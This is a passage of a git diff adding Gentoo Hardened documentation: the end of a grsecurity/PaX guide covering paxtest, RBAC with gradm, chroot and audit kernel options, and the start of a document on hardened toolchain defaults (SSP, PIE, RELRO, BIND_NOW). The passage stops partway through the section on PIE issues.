+    list the various permissions and ELF types that pertain to running an ideal
+    pax/grsec setup
+  </li>
+  <li>
+    With <c>pspax</c> you can display PaX flags/capabilities/xattr from the
+    kernel's perspective
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Verifying the PaX Settings</title>
+<body>
+
+<p>
+Peter Busser has written a regression test suite called <c>paxtest</c>. This
+tool will check various cases of possible attack vectors and inform you of the
+result. When you run it, it will leave a logfile called <path>paxtest.log</path>
+in the current working directory.
+</p>
+
+<pre caption="Installing and running paxtest">
+# <i>emerge paxtest</i>
+
+# <i>paxtest</i>
+Executable anonymous mapping             : Killed
+Executable bss                           : Killed
+Executable data                          : Killed
+Executable heap                          : Killed
+Executable stack                         : Killed
+Executable anonymous mapping (mprotect)  : Killed
+Executable bss (mprotect)                : Killed
+Executable data (mprotect)               : Killed
+Executable heap (mprotect)               : Killed
+Executable stack (mprotect)              : Killed
+Executable shared library bss (mprotect) : Killed
+Executable shared library data (mprotect): Killed
+Writable text segments                   : Killed
+Anonymous mapping randomisation test     : 16 bits (guessed)
+Heap randomisation test (ET_EXEC)        : 13 bits (guessed)
+Heap randomisation test (ET_DYN)         : 25 bits (guessed)
+Main executable randomisation (ET_EXEC)  : 16 bits (guessed)
+Main executable randomisation (ET_DYN)   : 17 bits (guessed)
+Shared library randomisation test        : 16 bits (guessed)
+Stack randomisation test (SEGMEXEC)      : 23 bits (guessed)
+Stack randomisation test (PAGEEXEC)      : No randomisation
+Return to function (strcpy)              : Vulnerable
+Return to function (memcpy)              : Vulnerable
+Return to function (strcpy, RANDEXEC)    : Killed
+Return to function (memcpy, RANDEXEC)    : Killed
+Executable shared library bss            : Killed
+Executable shared library data           : Killed
+</pre>
+
+<p>
+In the above example run you notice that:
+</p>
+
+<ul>
+  <li>
+    strcpy and memcpy are listed as <e>Vulnerable</e>. This is expected and
+    normal - it is simply showing the need for a technology such as ProPolice/SSP
+  </li>
+  <li>
+    there is no randomization for PAGEEXEC. This is normal since our recommended
+    x86 kernel configuration didn't activate the PAGEEXEC setting. However, on
+    arches that support a true NX (non-executable) bit (most of them do,
+    including x86_64), PAGEEXEC is the only method available for NOEXEC and 
+    has no performance hit.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>RBAC</title>
+<section>
+<title>Role Based Access Control</title>
+<body>
+
+<p>
+There are two basic types of access control mechanisms used to prevent
+unauthorized access to files (or information in general): DAC (Discretionary
+Access Control) and MAC (Mandatory Access Control). By default, Linux uses a DAC
+mechanism: the creator of the file can define who has access to the file. A MAC
+system however forces everyone to follow rules set by the administrator.
+</p>
+
+<p>
+The MAC implementation grsecurity supports is called Role Based Access
+Control. RBAC associates <e>roles</e> with each user. Each role defines what
+operations can be performed on certain objects. Given a well-written collection
+of roles and operations your users will be restricted to perform only those
+tasks that you tell them they can do. The default "deny-all" ensures you that a
+user cannot perform an action you haven't thought of.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configuring the Kernel</title>
+<body>
+
+<p>
+The recommended kernel setting for RBAC is:
+</p>
+
+<pre caption="Recommended RBAC Kernel Configuration">
+<comment>#
+# Role Based Access Control Options
+#</comment>
+CONFIG_GRKERNSEC_ACL_HIDEKERN=y
+CONFIG_GRKERNSEC_ACL_MAXTRIES=3
+CONFIG_GRKERNSEC_ACL_TIMEOUT=30
+</pre>
+
+</body>
+</section>
+<section>
+<title>Working with gradm</title>
+<body>
+
+<p>
+<c>gradm</c> is a tool which allows you to administer and maintain a policy for
+your system. With it, you can enable or disable the RBAC system, reload 
+the RBAC roles, change your role, set a password for admin mode, etc.
+</p>
+
+<p>
+When you install <c>gradm</c> a default policy will be installed in
+<path>/etc/grsec/policy</path>:
+</p>
+
+<pre caption="Installing gradm">
+# <i>emerge gradm</i>
+</pre>
+
+<p>
+By default, the RBAC policies are not activated. It is the sysadmin's job to
+determine when the system should have an RBAC policy enforced and not Gentoo's.
+Before activating the RBAC system you should set an admin password.
+</p>
+
+<pre caption="Activating the RBAC system">
+# <i>gradm -P</i>
+Setting up grsecurity RBAC password
+Password: <comment>(Enter a well-chosen password)</comment>
+Re-enter Password: <comment>(Enter the same password for confirmation)</comment>
+Password written in /etc/grsec/pw
+# <i>gradm -E</i>
+</pre>
+
+<p>
+To disable the RBAC system, run <c>gradm -D</c>. If you are not allowed to, you
+first need to switch to the admin role:
+</p>
+
+<pre caption="Disabling the RBAC system">
+# <i>gradm -a admin</i>
+Password: <comment>(Enter your admin role password)</comment>
+# <i>gradm -D</i>
+</pre>
+
+<p>
+If you want to leave the admin role, run <c>gradm -u admin</c>:
+</p>
+
+<pre caption="Dropping the admin role">
+# <i>gradm -u admin</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Generating a Policy</title>
+<body>
+
+<p>
+The RBAC system comes with a great feature called "learning mode". The learning
+mode can generate an anticipatory least privilege policy for your system. This
+allows for time and money savings by being able to rapidly deploy multiple
+secure servers.
+</p>
+
+<p>
+To use the learning mode, activate it using <c>gradm</c>:
+</p>
+
+<pre caption="Activating the RBAC learning mode">
+# <i>gradm -F -L /etc/grsec/learning.log</i>
+</pre>
+
+<p>
+Now use your system, do the things you would normally do. Try to avoid rsyncing,
+running locate of any other heavy file i/o operation as this can really slow
+down the processing time.
+</p>
+
+<p>
+When you believe you have used your system sufficiently to obtain a good policy,
+let <c>gradm</c> process them and propose roles under 
+<path>/etc/grsec/learning.roles</path>:
+</p>
+
+<pre caption="Processing learning mode logs">
+# <i>gradm -F -L /etc/grsec/learning.log -O /etc/grsec/learning.roles</i>
+</pre>
+
+<p>
+Audit the <path>/etc/grsec/learning.roles</path> and save it as
+<path>/etc/grsec/policy</path> (mode 0600) when you are finished.
+</p>
+
+<pre caption="Saving the policies">
+# <i>mv /etc/grsec/learning.roles /etc/grsec/policy</i>
+# <i>chmod 0600 /etc/grsec/policy</i>
+</pre>
+
+<p>
+You will now be able to enable the RBAC system with your new learned policy.
+</p>
+
+</body>
+</section>
+<section>
+<title>Tweaking your Policy</title>
+<body>
+
+<p>
+An interesting feature of grsecurity 2.x is <e>Set Operation Support</e> for the
+configuration file. Currently it supports unions, intersections and differences
+of sets (of objects in this case).
+</p>
+
+<pre caption="Example sets">
+define objset1 {
+/root/blah rw
+/root/blah2 r
+/root/blah3 x
+}
+
+define somename2 {
+/root/test1 rw
+/root/blah2 rw
+/root/test3 h
+}
+</pre>
+
+<p>
+Here is an example of its use, and the resulting objects that will be added to
+your subject:
+</p>
+
+<pre caption="&amp; Example">
+subject /somebinary o
+$objset1 &amp; $somename2
+</pre>
+
+<p>
+The above would expand to:
+</p>
+
+<pre caption="Resulting subject settings">
+subject /somebinary o
+/root/blah2 r
+</pre>
+
+<p>
+This is the result of the &amp; operator which takes both sets and returns the
+files that exist in both sets and the permission for those files that exist
+in both sets.
+</p>
+
+<pre caption="| Example">
+subject /somebinary o
+$objset1 | $somename2
+</pre>
+
+<p>
+This example would expand to:
+</p>
+
+<pre caption="Resulting subject settings">
+subject /somebinary o
+/root/blah rw
+/root/blah2 rw
+/root/blah3 x
+/root/test1 rw
+/root/test3 h
+</pre>
+
+<p>
+This is the result of the | operator which takes both sets and returns the
+files that exist in either set.  If a file exists in both sets, it is returned
+as well and the mode contains the flags that exist in either set.
+</p>
+
+<pre caption="- Example">
+subject /somebinary o
+$objset1 - $somename2
+</pre>
+
+<p>
+This example would expand to:
+</p>
+
+<pre caption="Resulting subject settings">
+subject /somebinary o
+/root/blah rw
+/root/blah2 h
+/root/blah3 x
+</pre>
+
+<p>
+This is the result of the - operator which takes both sets and returns the
+files that exist in the set on the left but not in the match of the file in
+set on the right. If a file exists on the left and a match is found on the
+right (either the filenames are the same, or a parent directory exists in
+the right set), the file is returned and the mode of the second set is
+removed from the first set, and that file is returned.
+</p>
+
+<p>
+In some obscure pseudo-language you could see this as:
+</p>
+
+<pre caption="Pseudo-language explanation">
+if ( (<i>$objset1</i> contained <i>/tmp/blah rw</i>) and
+     (<i>$objset2</i> contained <i>/tmp/blah r</i>) )
+then
+  <i>$objset1 - $objset2</i> would contain <i>/tmp/blah w</i>
+
+if ( (<i>$objset1</i> contained <i>/tmp/blah rw</i>) and
+     (<i>$objset2</i> contained <i>/ rwx</i>) )
+then 
+  <i>$objset1 - $objset2</i> would contain <i>/tmp/blah h</i>
+</pre>
+
+<p>
+As for order of precedence (from highest to lowest): "-, &amp; |".
+</p>
+
+<p>
+If you do not want to bother remembering precedence, parenthesis support
+is also included, so you can do things like:
+</p>
+
+<pre caption="Parenthesis example">
+(($set1 - $set2) | $set3) &amp; $set4
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Filesystem Protection</title>
+<section>
+<title>Fighting Chroot and Filesystem Abuse</title>
+<body>
+
+<p>
+Grsecurity2 includes many patches that prohibits users from gaining unnecessary
+knowledge about the system. This includes restrictions on <path>/proc</path>
+usage, chrooting, linking, etc.
+</p>
+
+</body>
+</section>
+<section>
+<title>Kernel Configuration</title>
+<body>
+
+<p>
+We recommend the following grsecurity kernel configuration for filesystem
+protection:
+</p>
+
+<pre caption="Activating Filesystem Protection">
+<comment>#
+# Filesystem Protections
+#</comment>
+CONFIG_GRKERNSEC_PROC=y
+<comment># CONFIG_GRKERNSEC_PROC_USER is not set</comment>
+CONFIG_GRKERNSEC_PROC_USERGROUP=y
+CONFIG_GRKERNSEC_PROC_GID=10
+CONFIG_GRKERNSEC_PROC_ADD=y
+CONFIG_GRKERNSEC_LINK=y
+CONFIG_GRKERNSEC_FIFO=y
+CONFIG_GRKERNSEC_CHROOT=y
+CONFIG_GRKERNSEC_CHROOT_MOUNT=y
+CONFIG_GRKERNSEC_CHROOT_DOUBLE=y
+CONFIG_GRKERNSEC_CHROOT_PIVOT=y
+CONFIG_GRKERNSEC_CHROOT_CHDIR=y
+CONFIG_GRKERNSEC_CHROOT_CHMOD=y
+CONFIG_GRKERNSEC_CHROOT_FCHDIR=y
+CONFIG_GRKERNSEC_CHROOT_MKNOD=y
+CONFIG_GRKERNSEC_CHROOT_SHMAT=y
+CONFIG_GRKERNSEC_CHROOT_UNIX=y
+CONFIG_GRKERNSEC_CHROOT_FINDTASK=y
+CONFIG_GRKERNSEC_CHROOT_NICE=y
+CONFIG_GRKERNSEC_CHROOT_SYSCTL=y
+CONFIG_GRKERNSEC_CHROOT_CAPS=y
+</pre>
+
+</body>
+</section>
+<section>
+<title>Triggering the Security Mechanism</title>
+<body>
+
+<p>
+When you're using a kernel compiled with the above (or similar) settings, you
+will get the option to enable/disable many of the options through the
+<path>/proc</path> filesystem or via <c>sysctl</c>.
+</p>
+
+<p>
+The example below shows an excerpt of a typical <path>/etc/sysctl.conf</path>:
+</p>
+
+<pre caption="Example settings inside /etc/sysctl.conf">
+kernel.grsecurity.chroot_deny_sysctl = 1
+kernel.grsecurity.chroot_caps = 1
+kernel.grsecurity.chroot_execlog = 0
+kernel.grsecurity.chroot_restrict_nice = 1
+kernel.grsecurity.chroot_deny_mknod = 1
+kernel.grsecurity.chroot_deny_chmod = 1
+kernel.grsecurity.chroot_enforce_chdir = 1
+kernel.grsecurity.chroot_deny_pivot = 1
+kernel.grsecurity.chroot_deny_chroot = 1
+kernel.grsecurity.chroot_deny_fchdir = 1
+kernel.grsecurity.chroot_deny_mount = 1
+kernel.grsecurity.chroot_deny_unix = 1
+kernel.grsecurity.chroot_deny_shmat = 1
+</pre>
+
+<p>
+You can enable or disable settings at will using the <c>sysctl</c> command:
+</p>
+
+<pre caption="Enabling sysctl settings">
+<comment>(Toggling the exec_logging feature ON)</comment>
+# <i>sysctl -w kernel.grsecurity.exec_logging = 1</i>
+<comment>(Toggling the exec_logging feature OFF)</comment>
+# <i>sysctl -w kernel.grsecurity.exec_logging = 0</i>
+</pre>
+
+<p>
+There is a very important sysctl setting pertaining to grsecurity, namely
+<c>kernel.grsecurity.grsec_lock</c>. When set, you are not able to change any
+setting anymore. 
+</p>
+
+<pre caption="Locking the sysctl interface">
+# <i>sysctl -w kernel.grsecurity.grsec_lock = 1</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Kernel Auditing</title>
+<section>
+<title>Extend your System's Logging Facilities</title>
+<body>
+
+<p>
+grsecurity adds extra functionality to the kernel pertaining the logging. With
+grsecurity's <e>Kernel Auditing</e> the kernel informs you when applications are
+started, devices (un)mounted, etc.
+</p>
+
+</body>
+</section>
+<section>
+<title>The various Kernel Audit Settings</title>
+<body>
+
+<p>
+The following kernel configuration section can be used to enable grsecurity's
+Kernel Audit Settings:
+</p>
+
+<pre caption="Activating Kernel Auditing">
+<comment>#
+# Kernel Auditing
+#
+# CONFIG_GRKERNSEC_AUDIT_GROUP is not set</comment>
+CONFIG_GRKERNSEC_EXECLOG=y
+CONFIG_GRKERNSEC_RESLOG=y
+CONFIG_GRKERNSEC_CHROOT_EXECLOG=y
+CONFIG_GRKERNSEC_AUDIT_CHDIR=y
+CONFIG_GRKERNSEC_AUDIT_MOUNT=y
+CONFIG_GRKERNSEC_AUDIT_IPC=y
+CONFIG_GRKERNSEC_SIGNAL=y
+CONFIG_GRKERNSEC_FORKFAIL=y
+CONFIG_GRKERNSEC_TIME=y
+CONFIG_GRKERNSEC_PROC_IPADDR=y
+CONFIG_GRKERNSEC_AUDIT_TEXTREL=y
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Process Restrictions</title>
+<section>
+<title>Executable Protection</title>
+<body>
+
+<p>
+With grsecurity you can restrict executables. Since most exploits work through
+one or more running processes this protection can save your system's health.
+</p>
+
+</body>
+</section>
+<section>
+<title>Network Protection</title>
+<body>
+
+<p>
+Linux' TCP/IP stack is vulnerable to prediction-based attacks. grsecurity
+includes randomization patches to counter these attacks. Apart from these you
+can also enable socket restrictions, disallowing certain groups network access
+alltogether.
+</p>
+
+</body>
+</section>
+<section>
+<title>Kernel Settings</title>
+<body>
+
+<p>
+The following kernel settings enable various executable and network protections:
+</p>
+
+<pre caption="Kernel setting">
+<comment>#
+# Executable Protections
+#</comment>
+CONFIG_GRKERNSEC_EXECVE=y
+CONFIG_GRKERNSEC_DMESG=y
+CONFIG_GRKERNSEC_RANDPID=y
+CONFIG_GRKERNSEC_TPE=y
+CONFIG_GRKERNSEC_TPE_ALL=y
+CONFIG_GRKERNSEC_TPE_GID=100
+
+<comment>#
+# Network Protections
+#</comment>
+CONFIG_GRKERNSEC_RANDNET=y
+CONFIG_GRKERNSEC_RANDISN=y
+CONFIG_GRKERNSEC_RANDID=y
+CONFIG_GRKERNSEC_RANDSRC=y
+CONFIG_GRKERNSEC_RANDRPC=y
+<comment># CONFIG_GRKERNSEC_SOCKET is not set</comment>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>The Hardened Toolchain</title>
+<section>
+<body>
+
+<p>
+Although it is outside the scope of this document we mention the use of the
+hardened toolchain which completes the grsec/PaX model from userspace. As a
+quickstart you can do:
+</p>
+
+<pre caption="Using the hardened toolchain">
+# <i>cd /etc</i>
+# <i>rm make.profile</i>
+# <i>ln -s ../usr/portage/profiles/hardened/x86 make.profile</i>
+# <i>emerge -e world</i>
+</pre>
+
+<p>
+If you don't want to use this profile, add these <c>hardened pic</c> USE flags to your
+USE variable in <path>/etc/make.conf</path>. 
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Resources</title>
+<section>
+<body>
+
+<ul>
+  <li><uri link="http://grsecurity.net/">Grsecurity Homepage</uri></li>
+  <li><uri link="http://forums.grsecurity.net/">Grsecurity Forums</uri></li>
+  <li>
+    <uri link="http://grsecurity.net/researchpaper.pdf">Increasing Performance 
+    and Granularity in Role-Based Access Control Systems</uri>
+
+  </li>
+  <li>
+    <uri link="http://www.gentoo.org/proj/en/hardened/capabilities.xml">
+    Capability Names and Descriptions</uri>
+  </li>
+  <li>
+    <uri link="http://grsecurity.net/quickstart.pdf">Grsecurity Quick-Start 
+    Guide</uri> (NEW .pdf)
+  </li>
+
+  <li>
+    <uri link="http://www.gentoo.org/proj/en/hardened/pax-quickstart.xml">Using PaX with 
+    Gentoo QuickStart</uri> (NEW)
+  </li>
+  <li>
+    <uri link="http://hardened.gentoo.org/grsecurity.xml">Grsecurity with 
+    Gentoo 1.9.x MAC system</uri> (OLD)
+  </li>
+  <li>
+    <uri link="http://grsecurity.net/PaX-presentation_files/frame.htm">PaX: The 
+    Guaranteed End of Arbitrary Code Execution</uri>
+
+  </li>
+  <li>
+    <uri link="http://pax.grsecurity.net">PaX HomePage and Documentation</uri>
+  </li>
+  <li>
+    <uri link="http://www.gentoo.org/proj/en/infrastructure/tenshi">Tenshi</uri>
+  </li>
+</ul>
+
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/hardened-toolchain.xml b/xml/htdocs/proj/en/hardened/hardened-toolchain.xml
new file mode 100644
index 00000000..742a51f4
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/hardened-toolchain.xml
@@ -0,0 +1,444 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/hardened/hardened-toolchain.xml" lang="en" disclaimer="draft">
+<title>The Gentoo Hardened Toolchain</title>
+
+<author title="Author">
+<mail link="kevquinn@gentoo.org">Kevin F. Quinn</mail>
+</author>
+
+<author title="Contributor">
+<mail link="solar@gentoo.org">Ned Ludd</mail>
+</author>
+
+<author title="Contributor">
+<mail link="pageexec@freemail.hu">The PaX Team</mail>
+</author>
+
+<abstract>
+Technical description of, and rationale for, the Gentoo Hardened Toolchain modifications.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-08-31</date>
+
+
+<chapter id="introduction">
+<title>Introduction to the Gentoo Hardened toolchain</title>
+
+<section id="todo">
+<title>TODO</title>
+<body>
+
+<ul>
+<li>Binutils modifications for PaX</li>
+<li>Comment on relationship to SELinux</li>
+</ul>
+
+</body>
+</section>
+
+<section id="overview">
+<title>Overview</title>
+<body>
+
+<p>
+The Gentoo Hardened project introduces a number of changes to the default behaviour of the toolchain (gcc, binutils, glibc/uclibc) intended to improve security. It supports other initiatives taken by the hardened project; most directly PaX and Grsecurity, but can also be applied to SELinux and RSBAC. This document describes each of the modifications made to the toolchain, showing what they achieve and how they relate to the Gentoo hardened strategy.
+</p>
+
+</body>
+</section>
+
+<section id="SSPintro">
+<title>Default addition of the Stack Smashing Protector (SSP)</title>
+<body>
+
+<p>
+First developed by Dr Hiroaki Etoh at IBM for the 3.x series of GCC (originally under the name ProPolice) and re-developed in a different way for the 4.x series by RedHat, the Stack Smashing Protector attempts to protect against stack buffer overflows. It causes the compiler to insert a check for stack buffer overflows before function returns.  If an attempt is made to exploit a previously unfixed (and probably undiscovered) error that exposes a buffer overflow vulnerability, the application will be killed immediately.  This reduces any potential exploit to a denial-of-service.
+</p>
+
+<p>
+Normally the compiler must be explicitly directed to switch on the stack protection via compiler options. The Gentoo hardened GCC switches on the stack protector by default unless explicitly requested not to. The chapter "<uri link="#SSP">The Stack Smashing Protector</uri>" describes the toolchain modifications to make this happen, and issues that may arise.
+</p>
+
+</body>
+</section>
+
+<section id="PIEintro">
+<title>Automatic generation of Position Independent Executables (PIEs)</title>
+<body>
+
+<p>
+Standard executables have a fixed base address, and they must be loaded to this address otherwise they will not execute correctly. Position Independent Executables can be loaded anywhere in memory much like shared libraries, allowing <uri link="/proj/en/hardened/pax-quickstart.xml">PaX</uri>'s Address Space Layout Randomisation (ASLR) to take effect.  This is achieved by building the code to be position-independent, and linking them as ELF shared objects.
+</p>
+
+<p>
+In 2003 Hardened Gentoo introduced an approach referred to as '-y etdyn' which consisted of building all code with -fPIC, and modifying the link stage to provide an ET_DYN executable using a modified PIC version of crt1.o, and setting the interp header to cause the executable to be loaded by the loader from glibc.  ET_DYN versions of the crt1.o object were created for x86, parisc, ppc and sparc.
+</p>
+
+<p>
+Further work was undertaken by RedHat, who implemented a '-pie' switch for the linker, and '-fPIE' to be used when compiling objects for linking into a Position Independent Executable.  Building an object with -fPIE is slightly different from -fPIC; in particular not all symbols are vectored through the GOT which means pre-loaded shared libraries do not override these symbols in the executable, which is also the case for ET_EXEC executables.
+</p>
+
+<p>
+As the support for PIEs in the upstream toolchain matured, Hardened Gentoo switched to PIE, dropping the earlier "-y et_dyn" support.  PIEs have several advantages, not least of which is that upstream have taken on the burden of support in gcc, glibc and binutils.
+</p>
+
+<p>
+The Gentoo hardened GCC automatically builds PIEs when building application code, unless explicitly requested not to (with a few built-in exceptions for cases where it is undesirable). The chapter "<uri link="#PIE">Position Independent Executables</uri> describes the toolchain modifications to make this happen, and issues that may arise.
+</p>
+
+</body>
+</section>
+
+<section id="RELROintro">
+<title>Default to marking read-only, sections that can be so marked after the loader is finished (RELRO)</title>
+<body>
+
+<p>
+There are several sections that need to be writable by the loader before the application starts, but do not need to be writable by the application itself later.  Setting relro instructs the linker to record which sections this applies to, and the loader will mark them read-only before passing or returning execution control to the application.  Typical sections affected include .ctors, .dtors, .jcr, .dynamic and .got, although the exact list varies according to arch.  If <uri link="#NOWintro">BIND_NOW</uri> is also set then on some arches all of the GOT (i.e. including the PLT) can be set read-only in this way, preventing various attack methods that involve overwriting it.
+</p>
+
+<p>
+The Gentoo hardened GCC automatically sets the linker to set RELRO, unless explicitly requested not to.  The chapter "<uri link="#RELRO">Read-Only Relocation tables</uri>" describes the toolchain modifications to make this happen.
+</p>
+
+</body>
+</section>
+
+<section id="NOWintro">
+<title>Default full binding at load-time (BIND_NOW)</title>
+<body>
+
+<p>
+To reduce the time between starting an application and actually being able to use it, most software is built with "lazy binding". This means that references to functions in shared libraries are resolved when they are actually used for the first time, rather than when the application is loaded. The hardened toolchain changes this behaviour so that by default it will set the "BIND_NOW" flag, which causes the loader to sort out all of these links before starting execution.  It improves the effectiveness of <uri link="#RELROintro">RELRO</uri>.
+</p>
+
+<p>
+The Gentoo hardened GCC automatically sets the linker to set the BIND_NOW flag, unless explicitly requested not to.  The chapter "<uri link="#NOW">Binding policy NOW</uri>" describes the toolchain modifications to make this happen.
+</p>
+
+</body>
+</section>
+</chapter>
+
+
+<chapter id="SSP">
+<title>The Stack Smashing Protector (SSP)</title>
+
+<section id="SSPrationale">
+<title>Rationale for enabling the stack smashing protector globally</title>
+<body>
+
+<p>
+The stack smashing protector arranges the code so that a stack overflow is very likely to be detected by the application, which then aborts. This means that an attacker who tries to exploit such a stack overflow error can cause the application to die, but cannot exploit the error to execute code. So the threat is reduced from a privilege elevation to at most a denial of service. Obviously, any such errors in the code should be fixed - SSP is not an excuse to avoid fixing them - however it is extremely difficult to be confident no such errors remain, even after thorough code review and testing.  So SSP remains as a safety-net for unfixed stack overflow errors.
+</p>
+<p>
+This is an important part of the overall Hardened Toolchain/PaX/GRsecurity strategy.  PaX prevents stack overflows from being executable by making the stack non-executable so an attacker cannot just put his shellcode into a buffer that overflows - however it does not prevent attacks that alter data that affect the program flow; in particular attacks that modify return addresses on the stack.
+</p>
+
+</body>
+</section>
+
+<section id="SSPtoolchain">
+<title>Toolchain modifications for default SSP</title>
+<body>
+
+<p>
+At Gentoo we add stack smashing protection patches to the GCC-3.x series compilers and the C library (glibc-2.3.x and uclibc).  As such this is the most invasive action taken to harden the toolchain.  From gcc-4.1 and glibc-2.4 onwards a different implementation of SSP is provided by the upstream GNU toolchain; glibc-2.4 is also patched by Gentoo to support the GCC-3.x implementation of SSP so binaries built with either SSP implementation will work.
+</p>
+
+<p>
+The patches to GCC-3.x are not trivial, so a detailed explanation here is not suitable, even if we could write one.  The modifications to the C library are simpler; they provide the canary value which is randomised separately for every process (and separately for every thread in the gcc-4.x/glibc-2.4 implementation), and the handler function called when the canary is checked and found to be corrupt.  The handler function reports an error and shuts down the process; this has to be done very carefully to ensure the handler itself cannot be exploited.
+</p>
+
+</body>
+</section>
+
+<section id="SSPissues">
+<title>Issues arising from default SSP</title>
+<body>
+
+<p>
+The SSP implementation in gcc-3.x is not perfect, and can cause problems.  In particular C++ code can be built incorrectly when SSP is enabled, although the exact details are not clear at the moment.
+</p>
+<p>
+The SSP implementation in gcc-4.x is completely different, even so far as changing the semantics of the compiler switches.  At the time of writing, we have little experience in the SSP implementation in gcc-4.x.
+</p>
+
+</body>
+</section>
+</chapter>
+
+
+<chapter id="PIE">
+<title>Position Independent Executables (PIEs)</title>
+
+<section id="PIErationale">
+<title>Rationale for building Position Indepedent Executables (PIEs)</title>
+<body>
+
+<p>
+The reason for building applications as position-independent is to allow the application to be loaded at a random address; normally the kernel loads all executables to the same fixed address.  Randomising this address makes it harder for an attacker to exploit the executable, since it is harder to know where the code (and heap) reside.
+</p>
+<p>
+This is most effective when running a PaX kernel with Address Space Layout Randomisation (ASLR), which increases the randomness of the various parts of a process significantly.  It is also necessary to enable the GRsecurity option to hide the location information in the /proc filesystem - otherwise the attacker can just look there to find the addresses needed!
+</p>
+<p>
+A note on prelink: prelinking sets hints for the address at which an ELF file will be loaded.  These hints, if followed, would make ASLR ineffective.  The PaX kernel causes these hints to be ignored, so prelinking does nothing useful for a Gentoo Hardened system.  Since there is no point using prelink, just don't use it.
+</p>
+<p>
+Not using prelink also means you don't have to worry about knock-on effects of prelink.  Since prelink modifies the ELF files whenever it prelink is run, these changes need to be propogated to other systems that depend on them.  For example host-based Intrusion Detection Systems (IDS) watch for changes to executables and libraries and need to be informed of the changes prelink makes - if prelink is not used then maintenance of such systems is simplified.
+</p>
+<p>
+There are some technologies on the way which reduce the need for prelink.  These include:
+</p>
+<ul><li>Symbol visibility support, which when used properly, reduces dramatically the number of symbols to resolve and hence the amount of time taken to resolve them</li>
+<li>Hash tables, which will be generated by the linker and included as a extra section in the ELF file, which make looking up symbols to resolve them nearly free.</li>
+<li>Direct binding, which simplifies the search that the loader by incorporating information in each library detailing exactly where the symbol to be resolved is located.</li>
+</ul>
+<p>
+See <uri link="#NOWissues">Issues arising from BIND_NOW</uri> for more.
+</p>
+</body>
+</section>
+
+<section id="PIEtoolchain">
+<title>Toolchain modifications for automatic PIEs</title>
+<body>
+
+<p>
+Support for position-independent executables is provided by the standard GNU toolchain.  For PIEs, GCC has different versions of some of the compiler support objects so that for example instead of using crtbegin.o, crt1.o and crtend.o it uses crtbeginS.o, Scrt1.o and crtendS.o (the exact files vary according to the compiler target).  It also builds code in a similar fashion to library PIC code, although in the case of executables some symbols are not referenced via the Global Offset Table (GOT).  The compiler obtains the list of compiler support objects via the "specs" file - see "info gcc" section 3 (Invoking GCC) subsection 15 (Spec Files).  Building code for PIEs is achieved by adding '-fPIE' when compiling and '-fPIE -pie' when linking.
+</p>
+<p>
+To change the default for building executables from absolute to position-independent, it is necessary to change the selection of support objects and to set the -fPIE and -pie options appropriately.  The specs rules for this are startfile, endfile, cc1 and link_command.  Exact details of the modifications vary according to the target; to illustrate here are the changes for x86:
+</p>
+<pre caption="standard cc1 rule for x86">
+%(cc1_cpu) %{profile:-p}
+</pre>
+<pre caption="addition to cc1 rule for x86">
+%{!D__KERNEL__: %{!static: %{!fno-PIC: %{!fno-pic: %{!shared:
+%{!nostdlib: %{!nostartfiles: %{!fno-PIE: %{!fno-pie: %{!nopie:
+%{!fPIC: %{!fpic:-fPIE} } } } } } } } } } } }
+</pre>
+<p>
+This looks a lot more scary than it really is. All it says is that unless one or more of the listed options are specified, add -fPIE to the compilation.  The kernel defines __KERNEL__ on all its compilations, so the -D__KERNEL__ check ensures that -fPIE is not added when building the kernel; the kernel is a static executable but as <uri link="#PIEissues">explained below</uri> this is not so easy to detect.  When building shared libraries, either -fPIC or -fpic should be specified, so this is used to prevent adding -fPIE when building shared libraries.  The -fno-* checks are to ensure that if a build explicitly requests no position-indepedent code, -fPIE is not added.
+</p>
+<pre caption="standard link_command rule for x86">
+%{!fsyntax-only:%{!c:%{!M:%{!MM:%{!E:%{!S:    %(linker) %l
+%{pie: -pie} %X %{o*} %{A} %{d} %{e*} %{m} %{N} %{n} %{r}
+%{s} %{t} %{u*} %{x} %{z} %{Z} %{!A:%{!nostdlib:%{!nostartfiles:%S}}}
+%{static:} %{L*} %(link_libgcc) %o %{fprofile-arcs|fprofile-generate:-lgcov}
+%{!symbolic:%{!shared:%{fbounds-checking:libboundscheck.a%s}}}
+%{!symbolic:%{!shared:%{fbc-strings-only:libboundscheck.a%s}}}
+%{!nostdlib:%{!nodefaultlibs:%(link_gcc_c_sequence)}}
+%{!A:%{!nostdlib:%{!nostartfiles:%E}}} %{T*} }}}}}}
+</pre>
+<pre caption="replacement for %{pie: -pie} in link_command rule for x86">
+%{!nopie: %{!static: %{!A: %{!shared: %{!nostdlib: %{!nostartfiles:
+%{!fno-PIE: %{!fno-pie: -pie} } } } } } } } %{pie: -pie}
+</pre>
+<p>
+As with the cc1 rule, the addition causes -pie to be set for link commands unless one of the listed options are specified.  Note that this replaces the '%{pie: -pie}' section in the original link_command rule.
+</p>
+<p>
+In both rules, there is an additional condition '!nopie' - this provides a mechanism to stop the hardened compiler defaulting to PIE by adding '-nopie' to CFLAGS.  This is what filter-flags does when asked to filter -fPIE and the compiler is hardened.
+</p>
+
+</body>
+</section>
+
+<section id="PIEissues">
+<title>Issues with PIEs</title>
+<body>
+
+<p>
